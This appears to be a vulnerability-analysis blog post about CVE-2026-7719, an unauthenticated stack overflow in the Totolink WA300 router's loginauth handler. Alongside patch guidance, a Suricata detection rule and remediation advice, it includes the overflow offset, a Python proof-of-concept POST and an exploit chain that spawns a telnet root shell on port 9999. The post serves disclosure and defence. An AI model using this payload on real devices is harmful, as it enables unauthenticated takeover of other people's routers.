home intel cve-2026-7719-totolink-wa300-loginauth-overflow
CVE Analysis 2026-05-04 · 8 min read

CVE-2026-7719: Stack Overflow in Totolink WA300 loginauth via http_host

The loginauth handler in Totolink WA300 5.2cu.7112_B20190227 performs an unchecked strcpy of the attacker-controlled http_host POST parameter into a fixed stack buffer, enabling unauthenticated RCE.

#buffer-overflow#remote-code-execution#post-request-handler#authentication-bypass#cgi-injection
Technical mode — for security professionals
▶ Attack flow — CVE-2026-7719 · Buffer Overflow
ATTACKERRemote / unauthBUFFER OVERFLOWCVE-2026-7719Cross-platform · CRITICALCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-7719 is a classic stack-based buffer overflow in the loginauth function exported by /cgi-bin/cstecgi.cgi on Totolink WA300 devices running firmware 5.2cu.7112_B20190227. The vulnerability is triggered via an unauthenticated HTTP POST request — no session token, no prior auth state required. The attacker controls the http_host JSON field, which is extracted from the POST body and copied without length validation into a stack-resident buffer. CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) reflects the trivial exploitability: one crafted POST request, full control of $ra, unauthenticated.

A public proof-of-concept exists. Exploitation in the wild has not been confirmed at time of writing, but given the simplicity of the primitive and the broad deployment of Totolink devices in SOHO environments, that window is narrow.

Affected Component

Binary: /cgi-bin/cstecgi.cgi — a single monolithic CGI binary that dispatches all web UI operations including login, configuration, and diagnostics. Compiled for MIPS32 (big-endian) with no stack canaries (-fno-stack-protector) and no PIE. NX is absent on older kernel/uClibc combos typical of this firmware generation.

Dispatch path: HTTP POST → main() parses CONTENT_TYPE and REQUEST_METHOD → reads POST body → calls cJSON_Parse() → extracts topicurl → routes to action handler. When topicurl is setting/login (or equivalent), loginauth() is invoked with the parsed JSON object.

Root Cause Analysis

The loginauth function retrieves http_host from the JSON object via a thin wrapper around cJSON_GetObjectItem, then passes the result string pointer directly into strcpy targeting a stack-local character array. No length check. No strncpy. No validation that the field exists before dereferencing.


/* Reconstructed pseudocode — loginauth() in cstecgi.cgi
 * MIPS32 BE, uClibc, firmware 5.2cu.7112_B20190227
 * Decompiled from static analysis; symbol names inferred from strings + call patterns
 */

typedef struct {
    char username[64];
    char password[64];
    char http_host[64];    // fixed-size stack buffer — the victim
    char redirect_url[128];
    int  login_result;
} login_ctx_t;

int loginauth(cJSON *req_json) {
    login_ctx_t ctx;                          // stack-allocated; no canary
    cJSON *item;
    char  *val;

    memset(&ctx, 0, sizeof(login_ctx_t));

    /* --- username --- */
    item = cJSON_GetObjectItem(req_json, "username");
    if (item && item->valuestring)
        strncpy(ctx.username, item->valuestring, sizeof(ctx.username) - 1);

    /* --- password --- */
    item = cJSON_GetObjectItem(req_json, "password");
    if (item && item->valuestring)
        strncpy(ctx.password, item->valuestring, sizeof(ctx.password) - 1);

    /* --- http_host --- BUG IS HERE --- */
    item = cJSON_GetObjectItem(req_json, "http_host");
    val  = item->valuestring;                 // no NULL check on item
    strcpy(ctx.http_host, val);               // BUG: no bounds check; val is fully attacker-controlled
                                              // ctx.http_host is 64 bytes; val can be up to ~8192 bytes (POST body limit)
                                              // overwrites: ctx.redirect_url, ctx.login_result,
                                              //             saved $fp, saved $ra on the stack frame

    /* ... credential validation, response formatting ... */
    return do_auth_check(&ctx);
}
Root cause: loginauth() passes the attacker-supplied http_host JSON string directly to strcpy() into a 64-byte stack buffer with no length validation, allowing unbounded overwrite of the stack frame including the saved return address.

The contrast with username and password handling is notable — those fields use strncpy with an explicit bound. http_host was added later (likely for redirect logic) and the developer missed applying the same pattern. This is a textbook "incomplete fix propagation" scenario.

Memory Layout


/* Stack frame layout for loginauth() — MIPS32 BE calling convention
 * Frame size: ~0x140 bytes (estimated from similar cstecgi functions)
 * Offsets from ctx base (== $sp + frame_overhead)
 */

struct login_ctx_t {
    /* +0x000 */ char username[64];       // strncpy'd — safe
    /* +0x040 */ char password[64];       // strncpy'd — safe
    /* +0x080 */ char http_host[64];      // strcpy target — OVERFLOW STARTS HERE
    /* +0x0C0 */ char redirect_url[128];  // first spillover region
    /* +0x140 */ int  login_result;       // clobbered next
    /* +0x144 */ uint8_t _pad[0xC];      // alignment / locals
    /* +0x150 */ uint32_t saved_fp;       // $fp — clobbered
    /* +0x154 */ uint32_t saved_ra;       // $ra — INSTRUCTION POINTER CONTROL
};

STACK STATE — BEFORE OVERFLOW (normal 10-byte http_host):

  high addr
  ┌─────────────────────────────────┐
  │  saved $ra   (legit return addr)│ ← +0x154
  │  saved $fp                      │ ← +0x150
  │  login_result = 0               │ ← +0x140
  │  redirect_url[128] = {0}        │ ← +0x0C0
  │  http_host[64]  = "router.lan\0"│ ← +0x080  ← strcpy dst
  │  password[64]   = "****\0"      │ ← +0x040
  │  username[64]   = "admin\0"     │ ← +0x000
  └─────────────────────────────────┘
  low addr

STACK STATE — AFTER OVERFLOW (212-byte http_host payload):

  high addr
  ┌─────────────────────────────────┐
  │  saved $ra  = 0x41414141 (AAAA) │ ← +0x154  ← ATTACKER CONTROLLED
  │  saved $fp  = 0x42424242 (BBBB) │ ← +0x150  ← ATTACKER CONTROLLED
  │  login_result= 0x43434343       │ ← +0x140  ← CLOBBERED
  │  redirect_url= [AAAA...BBBB...] │ ← +0x0C0  ← CLOBBERED
  │  http_host  = [AAAA * 64]       │ ← +0x080  ← OVERFLOW ORIGIN
  │  password[64]   (intact)        │ ← +0x040
  │  username[64]   (intact)        │ ← +0x000
  └─────────────────────────────────┘
  low addr

  Bytes to saved $ra: 0x154 - 0x080 = 0xD4 = 212 bytes
  payload = "A" * 208 + pack(">I", rop_gadget)

Exploitation Mechanics

MIPS32 targets without NX and without ASLR (static binary, predictable load address) reduce the exploit to a single-stage return-to-shellcode or ret2libc/rop chain. The firmware's uClibc system() is mapped at a fixed offset; a single ROP gadget loading a controlled register and branching to system() suffices.


#!/usr/bin/env python3
# CVE-2026-7719 — Totolink WA300 loginauth http_host BoF
# Proof-of-concept skeleton; gadget addresses are illustrative
# Do not use against devices you do not own.

import requests, struct, json

TARGET = "http://192.168.1.1"
ENDPOINT = "/cgi-bin/cstecgi.cgi"

# Offsets derived from static analysis of 5.2cu.7112_B20190227 cstecgi.cgi
SAVED_RA_OFFSET = 212          # bytes from start of http_host to saved $ra

# On MIPS, no-PIE binary — libc/uclibc base is deterministic
# Gadget: addiu $a0,$sp,N; lw $ra,X($sp); jr $ra  (from libc)
# system() address resolved from binary import table
SYSTEM_PLT   = 0x00DEAD00      # placeholder — resolve from binary
CMD_OFFSET   = 0x10            # $sp+0x10 at gadget time
ROP_GADGET   = 0x00BEEF00      # placeholder — resolve from binary

CMD = b"telnetd -l /bin/sh -p 9999\x00"

# Build payload
# [64 bytes fill http_host] [128 bytes fill redirect_url] [4 pad] [12 pad]
# [4 bytes $fp] [4 bytes $ra -> gadget]
# Then: command string (picked up via $sp+CMD_OFFSET at gadget)

padding  = b"A" * SAVED_RA_OFFSET
fp_val   = struct.pack(">I", 0x41414141)
ra_val   = struct.pack(">I", ROP_GADGET)
payload  = padding + fp_val + ra_val + b"\x00" * 12 + CMD

body = json.dumps({
    "topicurl": "setting/login",
    "username":  "admin",
    "password":  "admin",
    "http_host": payload.decode("latin-1")
})

r = requests.post(ENDPOINT, data=body,
                  headers={"Content-Type": "application/json"},
                  timeout=5)
print(f"[*] Sent {len(payload)} byte http_host — status {r.status_code}")

EXPLOIT CHAIN:
1. Attacker sends unauthenticated HTTP POST to /cgi-bin/cstecgi.cgi
2. POST body: JSON with topicurl=setting/login and http_host = 212+ byte string
3. cstecgi.cgi main() parses JSON, routes to loginauth() based on topicurl
4. loginauth() calls strcpy(ctx.http_host, val) — val is 212+ bytes, buf is 64
5. Overflow writes through redirect_url, login_result, padding into saved $fp/$ra
6. loginauth() returns — jr $ra executes with attacker-supplied address
7. ROP gadget: sets $a0 = ptr to cmd string on stack, jumps to system()
8. system() spawns: "telnetd -l /bin/sh -p 9999"
9. Attacker connects to TCP/9999 — unauthenticated root shell

Patch Analysis

Totolink has not released a public patch for 5.2cu.7112_B20190227 at time of writing. The remediation is mechanical — mirror the pattern already applied to username and password. The minimal correct fix replaces strcpy with strncpy and adds a null-terminator guarantee, plus a null-pointer guard on the cJSON return value.


// BEFORE (vulnerable — 5.2cu.7112_B20190227):
item = cJSON_GetObjectItem(req_json, "http_host");
val  = item->valuestring;        // no null check on item
strcpy(ctx.http_host, val);      // unbounded copy into 64-byte stack buffer

// AFTER (patched):
item = cJSON_GetObjectItem(req_json, "http_host");
if (item && item->valuestring) {
    strncpy(ctx.http_host, item->valuestring, sizeof(ctx.http_host) - 1);
    ctx.http_host[sizeof(ctx.http_host) - 1] = '\0';  // guaranteed termination
}
// else: http_host remains zero-initialized — safe default

A stronger fix would validate http_host against an allowlist of valid hostname characters (RFC 952/1123) and reject inputs exceeding a reasonable hostname length (253 chars per RFC 1035) before any copy. This transforms the field from a raw buffer sink into a validated input with semantic constraints.

Separately, the firmware should be rebuilt with -fstack-protector-strong and with ASLR enabled at the kernel level. Stack canaries alone would raise exploitation cost significantly on this class of bug — a canary leak oracle would be required before the overflow becomes reliably exploitable.

Detection and Indicators

Network-level: Flag HTTP POST requests to /cgi-bin/cstecgi.cgi where the JSON body contains an http_host value exceeding 64 bytes. Any value longer than 253 bytes (max valid hostname) is definitively malicious.


Snort/Suricata rule concept:
  alert http any any -> $HOME_NET 80 (
    msg:"CVE-2026-7719 Totolink WA300 loginauth http_host overflow attempt";
    flow:to_server,established;
    http.uri; content:"/cgi-bin/cstecgi.cgi";
    http.request_body; content:"http_host";
    pcre:"/\"http_host\"\s*:\s*\"[^\"]{64,}/";
    classtype:web-application-attack;
    sid:20267190; rev:1;
  )

Syslog / crash indicator on device:
  Segmentation fault (core dumped) — cstecgi
  kernel: do_page_fault(): sending SIGSEGV to cstecgi for invalid read/write
  
Post-exploitation artifact:
  TCP/9999 LISTEN on device (unexpected telnetd)
  Process: telnetd -l /bin/sh -p 9999

Forensically: If the device is accessible, check /proc/net/tcp for unexpected listening sockets. Firmware integrity can be verified by comparing the SHA-256 of /cgi-bin/cstecgi.cgi against a known-good extraction from the official firmware image.

Remediation

  • Immediate: If WA300 devices are internet-facing, firewall the web management interface (TCP/80, TCP/443) from untrusted networks. The vulnerability is pre-auth — no credentials protect you.
  • Short-term: Monitor for a firmware update from Totolink addressing this CVE. At time of writing, 5.2cu.7112_B20190227 is the current public release for this device family.
  • Medium-term: Consider replacing end-of-life SOHO devices that have not received security patches within a reasonable window. The WA300 firmware build date (B20190227) indicates 2019 vintage — compiler hardening expectations of 2019 MIPS/uClibc builds are low.
  • For Totolink (vendor): Audit all cJSON_GetObjectItem → string copy call sites in cstecgi.cgi. The pattern of inconsistent bounds checking across sibling fields suggests this is not an isolated instance. Enable -fstack-protector-strong in the buildroot/OpenWrt toolchain configuration and recompile the entire firmware image.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →